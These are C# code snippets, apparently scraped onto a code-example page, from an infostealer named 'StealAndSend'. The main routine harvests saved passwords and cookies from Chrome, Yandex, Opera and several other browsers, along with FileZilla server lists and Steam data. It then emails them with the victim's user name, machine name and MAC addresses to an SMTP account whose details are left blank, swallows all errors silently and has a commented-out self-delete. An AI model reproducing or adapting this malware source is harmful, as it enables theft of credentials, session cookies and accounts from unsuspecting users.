Ejemplo n.º 1
0
 public StealAndSend(MailData data)
 {
     if (Directory.Exists(dir_for_mailing))
     {
         Directory.Delete(dir_for_mailing, true);
     }
     Directory.CreateDirectory(dir_for_mailing);
     mailData = data;
 }
Ejemplo n.º 2
0
 public static void SendMail(MailData data, string attachFile = null)
 {
     try
     {
         MailMessage mail = new MailMessage();
         mail.From = new MailAddress(data.from);
         mail.To.Add(new MailAddress(data.To));
         mail.Subject = data.subject;
         mail.Body    = data.body;
         if (!string.IsNullOrEmpty(attachFile))
         {
             mail.Attachments.Add(new Attachment(attachFile));
         }
         SmtpClient client = new SmtpClient();
         client.Host           = data.smtp;
         client.Port           = 587;
         client.EnableSsl      = true;
         client.Credentials    = new NetworkCredential(data.from.Split('@')[0], data.pass);
         client.DeliveryMethod = SmtpDeliveryMethod.Network;
         client.Send(mail);
         mail.Dispose();
     }
     catch { }
 }
Ejemplo n.º 3
0
        static void Main()
        {
            try
            {
                if (!MailSend.CheckForInternetConnection("https://google.com"))
                {
                    return;
                }

                string body_made = $"This programm was made by @Alexuiop1337. The author (me) is not responsible for your actions!" +
                                   $"\nThis log was sent by {Environment.UserName} ({Environment.MachineName})." +
                                   $"\n And some stuff here: \n{Utils.MACS()}";
                MailData mailData = new MailData
                {
                    smtp    = "",
                    from    = "",
                    pass    = "",
                    To      = "",
                    subject = "NEW LOG! FROM " + Environment.UserName,
                    body    = body_made
                              //+ "\nTAG - TAGHERE\n" ;
                };


                string Opera_path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
                                    + @"\Opera Software\Opera Stable\";
                string       appdata = Environment.GetEnvironmentVariable("LocalAppData");
                StealAndSend sender  = new StealAndSend(mailData);

                sender.FileZilla(appdata + @"\FileZilla\recentservers.xml", "File_Zilla.txt");

                sender.BrowserPasswords(appdata + @"\Google\Chrome\User Data\Default\Login Data", "Chrome_Pass.txt", "chrome");
                sender.BrowserCookies(appdata + @"\Google\Chrome\User Data\Default\Cookies", "ChromeCookies.json");

                sender.BrowserPasswords(appdata + @"\Yandex\YandexBrowser\User Data\Default\Login Data", "Yandex_Pass.txt", "browser");
                sender.BrowserCookies(appdata + @"\Yandex\YandexBrowser\User Data\Default\Cookies", "YandexCookies.json");

                sender.BrowserPasswords(appdata + @"\Kometa\User Data\Default\Login Data", "Kometa_Pass.txt", "kometa");
                sender.BrowserCookies(appdata + @"\Kometa\User Data\Default\Cookies", "KometaCookies.json");

                sender.BrowserPasswords(appdata + @"\Amigo\User\User Data\Default\Login Data", "Amigo_Pass.txt", "amigo");
                sender.BrowserCookies(appdata + @"\Amigo\User\User Data\Default\Cookies", "AmigoCookies.json");

                sender.BrowserPasswords(appdata + @"\Torch\User Data\Default\Login Data", "Torch_Pass.txt", "Torch");
                sender.BrowserCookies(appdata + @"\Torch\User Data\Default\Cookies", "TorchCookies.json");

                sender.BrowserPasswords(appdata + @"\Orbitum\User Data\Default\Login Data", "Orbitum_Pass.txt", "orbitum");
                sender.BrowserCookies(appdata + @"\Orbitum\User Data\Default\Cookies", "OrbitumCookies.json");

                sender.BrowserPasswords(appdata + @"\Comodo\Dragon\User Data\Default\Login Data", "Comodo_Pass.txt", "Comodo dragon");
                sender.BrowserCookies(appdata + @"\Comodo\Dragon\User Data\Default\Cookies", "ComodoCookies.json");

                sender.BrowserPasswords(Opera_path + "Login Data", $"Opera_Pass.txt", "opera");
                sender.BrowserCookies(Opera_path + "Cookies", "OperaCookies.json");

                sender.Steam();

                sender.Release();
                //SelfDelete();
            }
            catch { }
        }